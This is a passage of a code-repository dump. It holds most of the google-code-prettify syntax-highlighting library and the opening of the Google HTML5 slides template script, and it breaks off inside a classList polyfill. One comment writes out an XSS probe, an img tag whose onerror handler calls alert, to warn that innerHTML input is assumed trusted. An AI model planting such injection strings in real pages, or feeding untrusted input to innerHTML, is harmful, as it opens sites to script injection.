                if (text.length) {
                  if (!isPreformatted) {
                    text = text.replace(/[ \t\r\n]+/g, ' ');
                  } else {
                    text = text.replace(/\r\n?/g, '\n');  // Normalize newlines.
                  }
                  // TODO: handle tabs here?
                  chunks[k] = text;
                  spans[k << 1] = length;
                  length += text.length;
                  spans[(k++ << 1) | 1] = node;
                }
                break;
            }
          }
        
          walk(node);
        
          return {
            source: chunks.join('').replace(/\n$/, ''),
            spans: spans
          };
        }
      
      
        /**
         * Apply the given language handler to sourceCode and add the resulting
         * decorations to out.
         * @param {number} basePos the index of sourceCode within the chunk of source
         *    whose decorations are already present on out.
         */
        function appendDecorations(basePos, sourceCode, langHandler, out) {
          if (!sourceCode) { return; }
          var job = {
            source: sourceCode,
            basePos: basePos
          };
          langHandler(job);
          out.push.apply(out, job.decorations);
        }
      
        /** Given triples of [style, pattern, context] returns a lexing function,
          * The lexing function interprets the patterns to find token boundaries and
          * returns a decoration list of the form
          * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
          * where index_n is an index into the sourceCode, and style_n is a style
          * constant like PR_PLAIN.  index_n-1 <= index_n, and style_n-1 applies to
          * all characters in sourceCode[index_n-1:index_n].
          *
          * The stylePatterns is a list whose elements have the form
          * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
          *
          * Style is a style constant like PR_PLAIN, or can be a string of the
          * form 'lang-FOO', where FOO is a language extension describing the
          * language of the portion of the token in $1 after pattern executes.
          * E.g., if style is 'lang-lisp', and group 1 contains the text
          * '(hello (world))', then that portion of the token will be passed to the
          * registered lisp handler for formatting.
          * The text before and after group 1 will be restyled using this decorator
          * so decorators should take care that this doesn't result in infinite
          * recursion.  For example, the HTML lexer rule for SCRIPT elements looks
          * something like ['lang-js', /<[s]cript>(.+?)<\/script>/].  This may match
          * '<script>foo()<\/script>', which would cause the current decorator to
          * be called with '<script>' which would not match the same rule since
          * group 1 must not be empty, so it would be instead styled as PR_TAG by
          * the generic tag rule.  The handler registered for the 'js' extension would
          * then be called with 'foo()', and finally, the current decorator would
          * be called with '<\/script>' which would not match the original rule and
          * so the generic tag rule would identify it as a tag.
          *
          * Pattern must only match prefixes, and if it matches a prefix, then that
          * match is considered a token with the same style.
          *
          * Context is applied to the last non-whitespace, non-comment token
          * recognized.
          *
          * Shortcut is an optional string of characters, any of which, if the first
          * character, gurantee that this pattern and only this pattern matches.
          *
          * @param {Array} shortcutStylePatterns patterns that always start with
          *   a known character.  Must have a shortcut string.
          * @param {Array} fallthroughStylePatterns patterns that will be tried in
          *   order if the shortcut ones fail.  May have shortcuts.
          *
          * @return {function (Object)} a
          *   function that takes source code and returns a list of decorations.
          */
        function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {
          var shortcuts = {};
          var tokenizer;
          (function () {
            var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);
            var allRegexs = [];
            var regexKeys = {};
            for (var i = 0, n = allPatterns.length; i < n; ++i) {
              var patternParts = allPatterns[i];
              var shortcutChars = patternParts[3];
              if (shortcutChars) {
                for (var c = shortcutChars.length; --c >= 0;) {
                  shortcuts[shortcutChars.charAt(c)] = patternParts;
                }
              }
              var regex = patternParts[1];
              var k = '' + regex;
              if (!regexKeys.hasOwnProperty(k)) {
                allRegexs.push(regex);
                regexKeys[k] = null;
              }
            }
            allRegexs.push(/[\0-\uffff]/);
            tokenizer = combinePrefixPatterns(allRegexs);
          })();
      
          var nPatterns = fallthroughStylePatterns.length;
          var notWs = /\S/;
      
          /**
           * Lexes job.source and produces an output array job.decorations of style
           * classes preceded by the position at which they start in job.source in
           * order.
           *
           * @param {Object} job an object like {@code
           *    source: {string} sourceText plain text,
           *    basePos: {int} position of job.source in the larger chunk of
           *        sourceCode.
           * }
           */
          var decorate = function (job) {
            var sourceCode = job.source, basePos = job.basePos;
            /** Even entries are positions in source in ascending order.  Odd enties
              * are style markers (e.g., PR_COMMENT) that run from that position until
              * the end.
              * @type {Array.<number|string>}
              */
            var decorations = [basePos, PR_PLAIN];
            var pos = 0;  // index into sourceCode
            var tokens = sourceCode.match(tokenizer) || [];
            var styleCache = {};
      
            for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {
              var token = tokens[ti];
              var style = styleCache[token];
              var match = void 0;
      
              var isEmbedded;
              if (typeof style === 'string') {
                isEmbedded = false;
              } else {
                var patternParts = shortcuts[token.charAt(0)];
                if (patternParts) {
                  match = token.match(patternParts[1]);
                  style = patternParts[0];
                } else {
                  for (var i = 0; i < nPatterns; ++i) {
                    patternParts = fallthroughStylePatterns[i];
                    match = token.match(patternParts[1]);
                    if (match) {
                      style = patternParts[0];
                      break;
                    }
                  }
      
                  if (!match) {  // make sure that we make progress
                    style = PR_PLAIN;
                  }
                }
      
                isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);
                if (isEmbedded && !(match && typeof match[1] === 'string')) {
                  isEmbedded = false;
                  style = PR_SOURCE;
                }
      
                if (!isEmbedded) { styleCache[token] = style; }
              }
      
              var tokenStart = pos;
              pos += token.length;
      
              if (!isEmbedded) {
                decorations.push(basePos + tokenStart, style);
              } else {  // Treat group 1 as an embedded block of source code.
                var embeddedSource = match[1];
                var embeddedSourceStart = token.indexOf(embeddedSource);
                var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;
                if (match[2]) {
                  // If embeddedSource can be blank, then it would match at the
                  // beginning which would cause us to infinitely recurse on the
                  // entire token, so we catch the right context in match[2].
                  embeddedSourceEnd = token.length - match[2].length;
                  embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;
                }
                var lang = style.substring(5);
                // Decorate the left of the embedded source
                appendDecorations(
                    basePos + tokenStart,
                    token.substring(0, embeddedSourceStart),
                    decorate, decorations);
                // Decorate the embedded source
                appendDecorations(
                    basePos + tokenStart + embeddedSourceStart,
                    embeddedSource,
                    langHandlerForExtension(lang, embeddedSource),
                    decorations);
                // Decorate the right of the embedded section
                appendDecorations(
                    basePos + tokenStart + embeddedSourceEnd,
                    token.substring(embeddedSourceEnd),
                    decorate, decorations);
              }
            }
            job.decorations = decorations;
          };
          return decorate;
        }
      
        /** returns a function that produces a list of decorations from source text.
          *
          * This code treats ", ', and ` as string delimiters, and \ as a string
          * escape.  It does not recognize perl's qq() style strings.
          * It has no special handling for double delimiter escapes as in basic, or
          * the tripled delimiters used in python, but should work on those regardless
          * although in those cases a single string literal may be broken up into
          * multiple adjacent string literals.
          *
          * It recognizes C, C++, and shell style comments.
          *
          * @param {Object} options a set of optional parameters.
          * @return {function (Object)} a function that examines the source code
          *     in the input job and builds the decoration list.
          */
        function sourceDecorator(options) {
          var shortcutStylePatterns = [], fallthroughStylePatterns = [];
          if (options['tripleQuotedStrings']) {
            // '''multi-line-string''', 'single-line-string', and double-quoted
            shortcutStylePatterns.push(
                [PR_STRING,  /^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
                 null, '\'"']);
          } else if (options['multiLineStrings']) {
            // 'multi-line-string', "multi-line-string"
            shortcutStylePatterns.push(
                [PR_STRING,  /^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,
                 null, '\'"`']);
          } else {
            // 'single-line-string', "single-line-string"
            shortcutStylePatterns.push(
                [PR_STRING,
                 /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,
                 null, '"\'']);
          }
          if (options['verbatimStrings']) {
            // verbatim-string-literal production from the C# grammar.  See issue 93.
            fallthroughStylePatterns.push(
                [PR_STRING, /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null]);
          }
          var hc = options['hashComments'];
          if (hc) {
            if (options['cStyleComments']) {
              if (hc > 1) {  // multiline hash comments
                shortcutStylePatterns.push(
                    [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);
              } else {
                // Stop C preprocessor declarations at an unclosed open comment
                shortcutStylePatterns.push(
                    [PR_COMMENT, /^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\r\n]*)/,
                     null, '#']);
              }
              fallthroughStylePatterns.push(
                  [PR_STRING,
                   /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,
                   null]);
            } else {
              shortcutStylePatterns.push([PR_COMMENT, /^#[^\r\n]*/, null, '#']);
            }
          }
          if (options['cStyleComments']) {
            fallthroughStylePatterns.push([PR_COMMENT, /^\/\/[^\r\n]*/, null]);
            fallthroughStylePatterns.push(
                [PR_COMMENT, /^\/\*[\s\S]*?(?:\*\/|$)/, null]);
          }
          if (options['regexLiterals']) {
            var REGEX_LITERAL = (
                // A regular expression literal starts with a slash that is
                // not followed by * or / so that it is not confused with
                // comments.
                '/(?=[^/*])'
                // and then contains any number of raw characters,
                + '(?:[^/\\x5B\\x5C]'
                // escape sequences (\x5C),
                +    '|\\x5C[\\s\\S]'
                // or non-nesting character sets (\x5B\x5D);
                +    '|\\x5B(?:[^\\x5C\\x5D]|\\x5C[\\s\\S])*(?:\\x5D|$))+'
                // finally closed by a /.
                + '/');
            fallthroughStylePatterns.push(
                ['lang-regex',
                 new RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')
                 ]);
          }
      
          var keywords = options['keywords'].replace(/^\s+|\s+$/g, '');
          if (keywords.length) {
            fallthroughStylePatterns.push(
                [PR_KEYWORD,
                 new RegExp('^(?:' + keywords.replace(/\s+/g, '|') + ')\\b'), null]);
          }
      
          shortcutStylePatterns.push([PR_PLAIN,       /^\s+/, null, ' \r\n\t\xA0']);
          fallthroughStylePatterns.push(
              // TODO(mikesamuel): recognize non-latin letters and numerals in idents
              [PR_LITERAL,     /^@[a-z_$][a-z_$@0-9]*/i, null],
              [PR_TYPE,        /^@?[A-Z]+[a-z][A-Za-z_$@0-9]*/, null],
              [PR_PLAIN,       /^[a-z_$][a-z_$@0-9]*/i, null],
              [PR_LITERAL,
               new RegExp(
                   '^(?:'
                   // A hex number
                   + '0x[a-f0-9]+'
                   // or an octal or decimal number,
                   + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)'
                   // possibly in scientific notation
                   + '(?:e[+\\-]?\\d+)?'
                   + ')'
                   // with an optional modifier like UL for unsigned long
                   + '[a-z]*', 'i'),
               null, '0123456789'],
              // Don't treat escaped quotes in bash as starting strings.  See issue 144.
              [PR_PLAIN,       /^\\[\s\S]?/, null],
              [PR_PUNCTUATION, /^.[^\s\w\.$@\'\"\`\/\#\\]*/, null]);
      
          return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);
        }
      
        var decorateSource = sourceDecorator({
              'keywords': ALL_KEYWORDS,
              'hashComments': true,
              'cStyleComments': true,
              'multiLineStrings': true,
              'regexLiterals': true
            });
      
        /**
         * Given a DOM subtree, wraps it in a list, and puts each line into its own
         * list item.
         *
         * @param {Node} node modified in place.  Its content is pulled into an
         *     HTMLOListElement, and each line is moved into a separate list item.
         *     This requires cloning elements, so the input might not have unique
         *     IDs after numbering.
         */
        function numberLines(node, opt_startLineNum) {
          var nocode = /(?:^|\s)nocode(?:\s|$)/;
          var lineBreak = /\r\n?|\n/;
        
          var document = node.ownerDocument;
        
          var whitespace;
          if (node.currentStyle) {
            whitespace = node.currentStyle.whiteSpace;
          } else if (window.getComputedStyle) {
            whitespace = document.defaultView.getComputedStyle(node, null)
                .getPropertyValue('white-space');
          }
          // If it's preformatted, then we need to split lines on line breaks
          // in addition to <BR>s.
          var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);
        
          var li = document.createElement('LI');
          while (node.firstChild) {
            li.appendChild(node.firstChild);
          }
          // An array of lines.  We split below, so this is initialized to one
          // un-split line.
          var listItems = [li];
        
          function walk(node) {
            switch (node.nodeType) {
              case 1:  // Element
                if (nocode.test(node.className)) { break; }
                if ('BR' === node.nodeName) {
                  breakAfter(node);
                  // Discard the <BR> since it is now flush against a </LI>.
                  if (node.parentNode) {
                    node.parentNode.removeChild(node);
                  }
                } else {
                  for (var child = node.firstChild; child; child = child.nextSibling) {
                    walk(child);
                  }
                }
                break;
              case 3: case 4:  // Text
                if (isPreformatted) {
                  var text = node.nodeValue;
                  var match = text.match(lineBreak);
                  if (match) {
                    var firstLine = text.substring(0, match.index);
                    node.nodeValue = firstLine;
                    var tail = text.substring(match.index + match[0].length);
                    if (tail) {
                      var parent = node.parentNode;
                      parent.insertBefore(
                          document.createTextNode(tail), node.nextSibling);
                    }
                    breakAfter(node);
                    if (!firstLine) {
                      // Don't leave blank text nodes in the DOM.
                      node.parentNode.removeChild(node);
                    }
                  }
                }
                break;
            }
          }
        
          // Split a line after the given node.
          function breakAfter(lineEndNode) {
            // If there's nothing to the right, then we can skip ending the line
            // here, and move root-wards since splitting just before an end-tag
            // would require us to create a bunch of empty copies.
            while (!lineEndNode.nextSibling) {
              lineEndNode = lineEndNode.parentNode;
              if (!lineEndNode) { return; }
            }
        
            function breakLeftOf(limit, copy) {
              // Clone shallowly if this node needs to be on both sides of the break.
              var rightSide = copy ? limit.cloneNode(false) : limit;
              var parent = limit.parentNode;
              if (parent) {
                // We clone the parent chain.
                // This helps us resurrect important styling elements that cross lines.
                // E.g. in <i>Foo<br>Bar</i>
                // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.
                var parentClone = breakLeftOf(parent, 1);
                // Move the clone and everything to the right of the original
                // onto the cloned parent.
                var next = limit.nextSibling;
                parentClone.appendChild(rightSide);
                for (var sibling = next; sibling; sibling = next) {
                  next = sibling.nextSibling;
                  parentClone.appendChild(sibling);
                }
              }
              return rightSide;
            }
        
            var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);
        
            // Walk the parent chain until we reach an unattached LI.
            for (var parent;
                 // Check nodeType since IE invents document fragments.
                 (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {
              copiedListItem = parent;
            }
            // Put it on the list of lines for later processing.
            listItems.push(copiedListItem);
          }
        
          // Split lines while there are lines left to split.
          for (var i = 0;  // Number of lines that have been split so far.
               i < listItems.length;  // length updated by breakAfter calls.
               ++i) {
            walk(listItems[i]);
          }
        
          // Make sure numeric indices show correctly.
          if (opt_startLineNum === (opt_startLineNum|0)) {
            listItems[0].setAttribute('value', opt_startLineNum);
          }
        
          var ol = document.createElement('OL');
          ol.className = 'linenums';
          var offset = Math.max(0, ((opt_startLineNum - 1 /* zero index */)) | 0) || 0;
          for (var i = 0, n = listItems.length; i < n; ++i) {
            li = listItems[i];
            // Stick a class on the LIs so that stylesheets can
            // color odd/even rows, or any other row pattern that
            // is co-prime with 10.
            li.className = 'L' + ((i + offset) % 10);
            if (!li.firstChild) {
              li.appendChild(document.createTextNode('\xA0'));
            }
            ol.appendChild(li);
          }
        
          node.appendChild(ol);
        }
      
        /**
         * Breaks {@code job.source} around style boundaries in {@code job.decorations}
         * and modifies {@code job.sourceNode} in place.
         * @param {Object} job like <pre>{
         *    source: {string} source as plain text,
         *    spans: {Array.<number|Node>} alternating span start indices into source
         *       and the text node or element (e.g. {@code <BR>}) corresponding to that
         *       span.
         *    decorations: {Array.<number|string} an array of style classes preceded
         *       by the position at which they start in job.source in order
         * }</pre>
         * @private
         */
        function recombineTagsAndDecorations(job) {
          var isIE = /\bMSIE\b/.test(navigator.userAgent);
          var newlineRe = /\n/g;
        
          var source = job.source;
          var sourceLength = source.length;
          // Index into source after the last code-unit recombined.
          var sourceIndex = 0;
        
          var spans = job.spans;
          var nSpans = spans.length;
          // Index into spans after the last span which ends at or before sourceIndex.
          var spanIndex = 0;
        
          var decorations = job.decorations;
          var nDecorations = decorations.length;
          // Index into decorations after the last decoration which ends at or before sourceIndex.
          var decorationIndex = 0;
        
          // Simplify decorations.
          var decPos = 0;
          for (var i = 0; i < nDecorations;) {
            // Skip over any zero-length decorations.
            var startPos = decorations[i];
            var start = i;
            while (start + 2 < nDecorations && decorations[start + 2] === startPos) {
              start += 2;
            }
            // Conflate all adjacent decorations that use the same style.
            var startDec = decorations[start + 1];
            var end = start + 2;
            while (end + 2 <= nDecorations
                   && (decorations[end + 1] === startDec
                       || decorations[end] === decorations[end + 2])) {
              end += 2;
            }
            decorations[decPos++] = startPos;
            decorations[decPos++] = startDec;
            i = end;
          }
        
          // Strip any zero-length decoration at the end.
          if (decPos && decorations[decPos - 2] === sourceLength) { decPos -= 2; }
          nDecorations = decorations.length = decPos;
        
          var decoration = null;
          while (spanIndex < nSpans) {
            var spanStart = spans[spanIndex];
            var spanEnd = spans[spanIndex + 2] || sourceLength;
        
            var decStart = decorations[decorationIndex];
            var decEnd = decorations[decorationIndex + 2] || sourceLength;
        
            var end = Math.min(spanEnd, decEnd);
        
            var textNode = spans[spanIndex + 1];
            if (textNode.nodeType !== 1) {  // Don't muck with <BR>s or <LI>s
              var styledText = source.substring(sourceIndex, end);
              // This may seem bizarre, and it is.  Emitting LF on IE causes the
              // code to display with spaces instead of line breaks.
              // Emitting Windows standard issue linebreaks (CRLF) causes a blank
              // space to appear at the beginning of every line but the first.
              // Emitting an old Mac OS 9 line separator makes everything spiffy.
              if (isIE) { styledText = styledText.replace(newlineRe, '\r'); }
              textNode.nodeValue = styledText;
              var document = textNode.ownerDocument;
              var span = document.createElement('SPAN');
              span.className = decorations[decorationIndex + 1];
              var parentNode = textNode.parentNode;
              parentNode.replaceChild(span, textNode);
              span.appendChild(textNode);
              if (sourceIndex < spanEnd) {  // Split off a text node.
                spans[spanIndex + 1] = textNode
                    // TODO: Possibly optimize by using '' if there's no flicker.
                    = document.createTextNode(source.substring(end, spanEnd));
                parentNode.insertBefore(textNode, span.nextSibling);
              }
            }
        
            sourceIndex = end;
        
            if (sourceIndex >= spanEnd) {
              spanIndex += 2;
            }
            if (sourceIndex >= decEnd) {
              decorationIndex += 2;
            }
          }
        }
      
      
        /** Maps language-specific file extensions to handlers. */
        var langHandlerRegistry = {};
        /** Register a language handler for the given file extensions.
          * @param {function (Object)} handler a function from source code to a list
          *      of decorations.  Takes a single argument job which describes the
          *      state of the computation.   The single parameter has the form
          *      {@code {
          *        source: {string} as plain text.
          *        decorations: {Array.<number|string>} an array of style classes
          *                     preceded by the position at which they start in
          *                     job.source in order.
          *                     The language handler should assigned this field.
          *        basePos: {int} the position of source in the larger source chunk.
          *                 All positions in the output decorations array are relative
          *                 to the larger source chunk.
          *      } }
          * @param {Array.<string>} fileExtensions
          */
        function registerLangHandler(handler, fileExtensions) {
          for (var i = fileExtensions.length; --i >= 0;) {
            var ext = fileExtensions[i];
            if (!langHandlerRegistry.hasOwnProperty(ext)) {
              langHandlerRegistry[ext] = handler;
            } else if ('console' in window) {
              console['warn']('cannot override language handler %s', ext);
            }
          }
        }
        function langHandlerForExtension(extension, source) {
          if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {
            // Treat it as markup if the first non whitespace character is a < and
            // the last non-whitespace character is a >.
            extension = /^\s*</.test(source)
                ? 'default-markup'
                : 'default-code';
          }
          return langHandlerRegistry[extension];
        }
        registerLangHandler(decorateSource, ['default-code']);
        registerLangHandler(
            createSimpleLexer(
                [],
                [
                 [PR_PLAIN,       /^[^<?]+/],
                 [PR_DECLARATION, /^<!\w[^>]*(?:>|$)/],
                 [PR_COMMENT,     /^<\!--[\s\S]*?(?:-\->|$)/],
                 // Unescaped content in an unknown language
                 ['lang-',        /^<\?([\s\S]+?)(?:\?>|$)/],
                 ['lang-',        /^<%([\s\S]+?)(?:%>|$)/],
                 [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],
                 ['lang-',        /^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],
                 // Unescaped content in javascript.  (Or possibly vbscript).
                 ['lang-js',      /^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],
                 // Contains unescaped stylesheet content
                 ['lang-css',     /^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],
                 ['lang-in.tag',  /^(<\/?[a-z][^<>]*>)/i]
                ]),
            ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);
        registerLangHandler(
            createSimpleLexer(
                [
                 [PR_PLAIN,        /^[\s]+/, null, ' \t\r\n'],
                 [PR_ATTRIB_VALUE, /^(?:\"[^\"]*\"?|\'[^\']*\'?)/, null, '\"\'']
                 ],
                [
                 [PR_TAG,          /^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],
                 [PR_ATTRIB_NAME,  /^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],
                 ['lang-uq.val',   /^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],
                 [PR_PUNCTUATION,  /^[=<>\/]+/],
                 ['lang-js',       /^on\w+\s*=\s*\"([^\"]+)\"/i],
                 ['lang-js',       /^on\w+\s*=\s*\'([^\']+)\'/i],
                 ['lang-js',       /^on\w+\s*=\s*([^\"\'>\s]+)/i],
                 ['lang-css',      /^style\s*=\s*\"([^\"]+)\"/i],
                 ['lang-css',      /^style\s*=\s*\'([^\']+)\'/i],
                 ['lang-css',      /^style\s*=\s*([^\"\'>\s]+)/i]
                 ]),
            ['in.tag']);
        registerLangHandler(
            createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\s\S]+/]]), ['uq.val']);
        registerLangHandler(sourceDecorator({
                'keywords': CPP_KEYWORDS,
                'hashComments': true,
                'cStyleComments': true
              }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);
        registerLangHandler(sourceDecorator({
                'keywords': 'null true false'
              }), ['json']);
        registerLangHandler(sourceDecorator({
                'keywords': CSHARP_KEYWORDS,
                'hashComments': true,
                'cStyleComments': true,
                'verbatimStrings': true
              }), ['cs']);
        registerLangHandler(sourceDecorator({
                'keywords': JAVA_KEYWORDS,
                'cStyleComments': true
              }), ['java']);
        registerLangHandler(sourceDecorator({
                'keywords': SH_KEYWORDS,
                'hashComments': true,
                'multiLineStrings': true
              }), ['bsh', 'csh', 'sh']);
        registerLangHandler(sourceDecorator({
                'keywords': PYTHON_KEYWORDS,
                'hashComments': true,
                'multiLineStrings': true,
                'tripleQuotedStrings': true
              }), ['cv', 'py']);
        registerLangHandler(sourceDecorator({
                'keywords': PERL_KEYWORDS,
                'hashComments': true,
                'multiLineStrings': true,
                'regexLiterals': true
              }), ['perl', 'pl', 'pm']);
        registerLangHandler(sourceDecorator({
                'keywords': RUBY_KEYWORDS,
                'hashComments': true,
                'multiLineStrings': true,
                'regexLiterals': true
              }), ['rb']);
        registerLangHandler(sourceDecorator({
                'keywords': JSCRIPT_KEYWORDS,
                'cStyleComments': true,
                'regexLiterals': true
              }), ['js']);
        registerLangHandler(sourceDecorator({
                'keywords': COFFEE_KEYWORDS,
                'hashComments': 3,  // ### style block comments
                'cStyleComments': true,
                'multilineStrings': true,
                'tripleQuotedStrings': true,
                'regexLiterals': true
              }), ['coffee']);
        registerLangHandler(createSimpleLexer([], [[PR_STRING, /^[\s\S]+/]]), ['regex']);
      
        function applyDecorator(job) {
          var opt_langExtension = job.langExtension;
      
          try {
            // Extract tags, and convert the source code to plain text.
            var sourceAndSpans = extractSourceSpans(job.sourceNode);
            /** Plain text. @type {string} */
            var source = sourceAndSpans.source;
            job.source = source;
            job.spans = sourceAndSpans.spans;
            job.basePos = 0;
      
            // Apply the appropriate language handler
            langHandlerForExtension(opt_langExtension, source)(job);
      
            // Integrate the decorations and tags back into the source code,
            // modifying the sourceNode in place.
            recombineTagsAndDecorations(job);
          } catch (e) {
            if ('console' in window) {
              console['log'](e && e['stack'] ? e['stack'] : e);
            }
          }
        }
      
        /**
         * @param sourceCodeHtml {string} The HTML to pretty print.
         * @param opt_langExtension {string} The language name to use.
         *     Typically, a filename extension like 'cpp' or 'java'.
         * @param opt_numberLines {number|boolean} True to number lines,
         *     or the 1-indexed number of the first line in sourceCodeHtml.
         */
        function prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {
          var container = document.createElement('PRE');
          // This could cause images to load and onload listeners to fire.
          // E.g. <img onerror="alert(1337)" src="nosuchimage.png">.
          // We assume that the inner HTML is from a trusted source.
          container.innerHTML = sourceCodeHtml;
          if (opt_numberLines) {
            numberLines(container, opt_numberLines);
          }
      
          var job = {
            langExtension: opt_langExtension,
            numberLines: opt_numberLines,
            sourceNode: container
          };
          applyDecorator(job);
          return container.innerHTML;
        }
      
        function prettyPrint(opt_whenDone) {
          function byTagName(tn) { return document.getElementsByTagName(tn); }
          // fetch a list of nodes to rewrite
          var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];
          var elements = [];
          for (var i = 0; i < codeSegments.length; ++i) {
            for (var j = 0, n = codeSegments[i].length; j < n; ++j) {
              elements.push(codeSegments[i][j]);
            }
          }
          codeSegments = null;
      
          var clock = Date;
          if (!clock['now']) {
            clock = { 'now': function () { return (new Date).getTime(); } };
          }
      
          // The loop is broken into a series of continuations to make sure that we
          // don't make the browser unresponsive when rewriting a large page.
          var k = 0;
          var prettyPrintingJob;
      
          function doWork() {
            var endTime = (window['PR_SHOULD_USE_CONTINUATION'] ?
                           clock.now() + 250 /* ms */ :
                           Infinity);
            for (; k < elements.length && clock.now() < endTime; k++) {
              var cs = elements[k];
              if (cs.className && cs.className.indexOf('prettyprint') >= 0) {
                // If the classes includes a language extensions, use it.
                // Language extensions can be specified like
                //     <pre class="prettyprint lang-cpp">
                // the language extension "cpp" is used to find a language handler as
                // passed to PR.registerLangHandler.
                var langExtension = cs.className.match(/\blang-(\w+)\b/);
                if (langExtension) { langExtension = langExtension[1]; }
      
                // make sure this is not nested in an already prettified element
                var nested = false;
                for (var p = cs.parentNode; p; p = p.parentNode) {
                  if ((p.tagName === 'pre' || p.tagName === 'code' ||
                       p.tagName === 'xmp') &&
                      p.className && p.className.indexOf('prettyprint') >= 0) {
                    nested = true;
                    break;
                  }
                }
                if (!nested) {
                  // Look for a class like linenums or linenums:<n> where <n> is the
                  // 1-indexed number of the first line.
                  var lineNums = cs.className.match(/\blinenums\b(?::(\d+))?/);
                  lineNums = lineNums
                        ? lineNums[1] && lineNums[1].length ? +lineNums[1] : true
                        : false;
                  if (lineNums) { numberLines(cs, lineNums); }
      
                  // do the pretty printing
                  prettyPrintingJob = {
                    langExtension: langExtension,
                    sourceNode: cs,
                    numberLines: lineNums
                  };
                  applyDecorator(prettyPrintingJob);
                }
              }
            }
            if (k < elements.length) {
              // finish up in a continuation
              setTimeout(doWork, 250);
            } else if (opt_whenDone) {
              opt_whenDone();
            }
          }
      
          doWork();
        }
      
        window['prettyPrintOne'] = prettyPrintOne;
        window['prettyPrint'] = prettyPrint;
        window['PR'] = {
              'createSimpleLexer': createSimpleLexer,
              'registerLangHandler': registerLangHandler,
              'sourceDecorator': sourceDecorator,
              'PR_ATTRIB_NAME': PR_ATTRIB_NAME,
              'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,
              'PR_COMMENT': PR_COMMENT,
              'PR_DECLARATION': PR_DECLARATION,
              'PR_KEYWORD': PR_KEYWORD,
              'PR_LITERAL': PR_LITERAL,
              'PR_NOCODE': PR_NOCODE,
              'PR_PLAIN': PR_PLAIN,
              'PR_PUNCTUATION': PR_PUNCTUATION,
              'PR_SOURCE': PR_SOURCE,
              'PR_STRING': PR_STRING,
              'PR_TAG': PR_TAG,
              'PR_TYPE': PR_TYPE
            };
      })();
      
      
      ================================================
      FILE: papers/LCA 2012_ PHP Static Code Analysis_files/slides.txt
      ================================================
      /*
        Google HTML5 slides template
      
        Authors: Luke Mahé (code)
                 Marcin Wichary (code and design)
      
                 Dominic Mazzoni (browser compatibility)
                 Charles Chen (ChromeVox support)
      
        URL: http://code.google.com/p/html5slides/
      */
      
      var PERMANENT_URL_PREFIX = 'http://html5slides.googlecode.com/svn/trunk/';
      
      var SLIDE_CLASSES = ['far-past', 'past', 'current', 'next', 'far-next'];
      
      var PM_TOUCH_SENSITIVITY = 15;
      
      var curSlide;
      
      /* ---------------------------------------------------------------------- */
      /* classList polyfill by Eli Grey
       * (http://purl.eligrey.com/github/classList.js/blob/master/classList.js) */
      
      if (typeof document !== "undefined" && !("classList" in document.createElement("a"))) {
      
      (function (view) {
      
      var
          classListProp = "classList"
        , protoProp = "prototype"
        , elemCtrProto = (view.HTMLElement || view.Element)[protoProp]
        , objCtr = Object
          strTrim = String[protoProp].trim || function () {
          return this.replace(/^\s+|\s+$/g, "");
        }
        , arrIndexOf = Array[protoProp].indexOf || function (item) {
          for (var i = 0, len = this.length; i < len; i++) {
            if (i in this && this[i] === item) {
              return i;
            }
          }
          return -1;
        }
        // Vendors: please allow content code to instantiate DOMExceptions
        , DOMEx = function (type, message) {
          this.name = type;
          this.code = DOMException[type];
          this.message = message;
        }
        , checkTokenAndGetIndex = function (classList, token) {
          if (token === "") {
            throw new DOMEx(
                "SYNTAX_ERR"
              , "An invalid or illegal string was specified"
            );
          }
          if (/\s/.test(token)) {
            throw new DOMEx(
                "INVALID_CHARACTER_ERR"
              , "String contains an invalid character"
            );
          }
          return arrIndexOf.call(classList, token);
        }
        , ClassList = function (elem) {
          var
              trimmedClasses = strTrim.call(elem.className)
            , classes = trimmedClasses ? trimmedClasses.split(/\s+/) : []
          ;
          for (var i = 0, len = classes.length; i < len; i++) {
            this.push(classes[i]);
